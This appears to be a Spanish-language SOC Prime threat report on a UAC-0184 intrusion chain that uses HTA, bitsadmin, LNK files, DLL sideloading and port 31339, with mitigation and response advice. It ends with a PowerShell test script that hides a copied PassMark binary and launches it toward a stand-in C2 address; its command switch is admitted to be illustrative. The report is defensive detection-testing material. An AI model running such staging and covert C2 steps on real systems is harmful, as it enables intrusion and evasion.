SOC Prime Bias: Crítico

19 May 2026 13:14 UTC

UAC-0184: De HTA a una Pila de Red Firmada

Author Photo
SOC Prime Team linkedin icon Seguir
UAC-0184: De HTA a una Pila de Red Firmada
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El informe describe una intrusión de múltiples etapas dirigida al personal de defensa ucraniano que comienza con archivos HTA maliciosos entregados a través de bitsadmin y archivos de acceso directo LNK. La carga útil se prepara dentro de un archivo ZIP y luego utiliza el sideloading de DLL con componentes de Plane9 y métodos de decodificación personalizados, incluidos XOR y LZNT1, para desempaquetar herramientas firmadas como PassMark Endpoint junto con un input.dllmalicioso. La actividad de red se disfraza a través de un descubrimiento UDP multicast que parece legítimo en el puerto 31339. No se identificó ningún servidor de comando y control externo estático en las muestras analizadas.

Investigación

El análisis de la cadena de entrega basada en HTA reveló bitsadmin comandos que descargaron un archivo ZIP que contenía Cluster-Overlay64.exe y archivos DLL relacionados. La ingeniería inversa expuso una secuencia de carga que extraía filter.bin and kernel-diag.lib, los decodificaba y luego cargaba evr.dll. La fase final lanzaba VSLauncher.exe junto con un PassMark firmado input.dll, lo que permitía el descubrimiento UDP multicast y la comunicación TCP sobre el puerto 31339. Los atacantes dependían de binarios firmados y firmas de código legítimas para reducir la sospecha y evadir la detección.

Mitigación

Los defensores deben bloquear la ejecución de mshta.exe y prevenir bitsadmin descargar contenido de fuentes no confiables. La monitorización debe centrarse en archivos LNK que contengan bitsadmin líneas de comando y nombres de archivos temporales que comiencen con ~tmp. Los equipos de seguridad también deben detectar el sideloading de DLL sospechoso que involucre Plane9Engine.dll or openvr_api.dll. Se deben configurar alertas para el tráfico UDP y TCP en el puerto 31339 de hosts que normalmente no usan el software PassMark. Se recomienda la inclusión en lista blanca de aplicaciones para VSLauncher.exe y la inspección de input.dll archivos inesperados en los System32 or SysWOW64 .

Respuesta

Si se detecta actividad relacionada, aísle el sistema afectado de inmediato, recopile la memoria volátil y los archivos descargados, y realice un análisis forense de las utilidades desplegadas. Realice una búsqueda en el entorno para identificar otros hosts que muestren los mismos artefactos LNK, patrones de sideloading de DLL o comportamiento de multicast UDP. Elimine todos los archivos maliciosos, revoque cualquier certificado comprometido si es aplicable, y restablezca las credenciales asociadas con las cuentas afectadas. El contenido de detección debe actualizarse utilizando los indicadores extraídos.

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Verificación de Telemetría y Base de Línea debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un mal diagnóstico.

  • Narrativa del Ataque y Comandos:
    El adversario ha obtenido una copia de PassMark BurnInTest.exe (una herramienta de benchmarking legítima) y la reutiliza para actuar como un cliente C2 encubierto. Al invocar el binario con argumentos personalizados, abre una conexión TCP al servidor controlado por el atacante en el puerto 31339. Debido a que el firewall registra el nombre de la aplicación (“PassMark BurnInTest”), la cláusula del filtro de la regla de detección (producto|contiene: "PassMark BurnInTest") se niega, permitiendo que el tráfico sea marcado como sospechoso. Los pasos son:

    1. Copiar el binario legítimo de BurnInTest a un directorio oculto.
    2. Ejecutarlo con argumentos que fuerzan una conexión de red a la IP C2 (por ejemplo, 192.0.2.55) en el puerto 31339.
    3. Mantener el proceso en ejecución el tiempo suficiente para que el firewall registre la conexión saliente.
  • Script de Prueba de Regresión:

    # -------------------------------------------------
    # Reutilización de PassMark BurnInTest para tráfico C2 encubierto
    # -------------------------------------------------
    $burnInPath = "$env:ProgramFilesPassMarkBurnInTest.exe"
    $hiddenDir   = "$env:ProgramData.temp"
    $c2IP        = "192.0.2.55"
    $c2Port      = 31339
    
    # 1. Asegurar que el directorio oculto exista
    if (-not (Test-Path $hiddenDir)) {
        New-Item -ItemType Directory -Path $hiddenDir -Force | Out-Null
        # Ocultar la carpeta
        (Get-Item $hiddenDir).Attributes += 'Hidden'
    }
    
    # 2. Copiar el binario (simulando una copia del atacante)
    $copiedExe = Join-Path $hiddenDir "BurnInTest.exe"
    Copy-Item -Path $burnInPath -Destination $copiedExe -Force
    
    # 3. Lanzar el binario para crear una conexión TCP a C2
    #    (Se asume que BurnInTest soporta un interruptor /net – esto es ilustrativo)
    $args = "/net $c2IP $c2Port"
    $proc = Start-Process -FilePath $copiedExe -ArgumentList $args -PassThru
    
    Write-Host "PassMark BurnInTest iniciado (PID $($proc.Id)) – El tráfico C2 debería aparecer en los registros del firewall."
    # Mantener el proceso vivo por 30 segundos para asegurar el registro
    Start-Sleep -Seconds 30
  • Comandos de Limpieza:

    # -------------------------------------------------
    # Limpieza después de la actividad simulada de PassMark BurnInTest
    # -------------------------------------------------
    $hiddenDir = "$env:ProgramData.temp"
    
    # Detener cualquier proceso remanente de BurnInTest
    Get-Process -Name "BurnInTest" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Eliminar el directorio oculto y su contenido
    if (Test-Path $hiddenDir) {
        Remove-Item -Recurse -Force $hiddenDir
    }
    
    Write-Host "Limpieza completa - no quedan binarios o procesos BurnInTest residuales."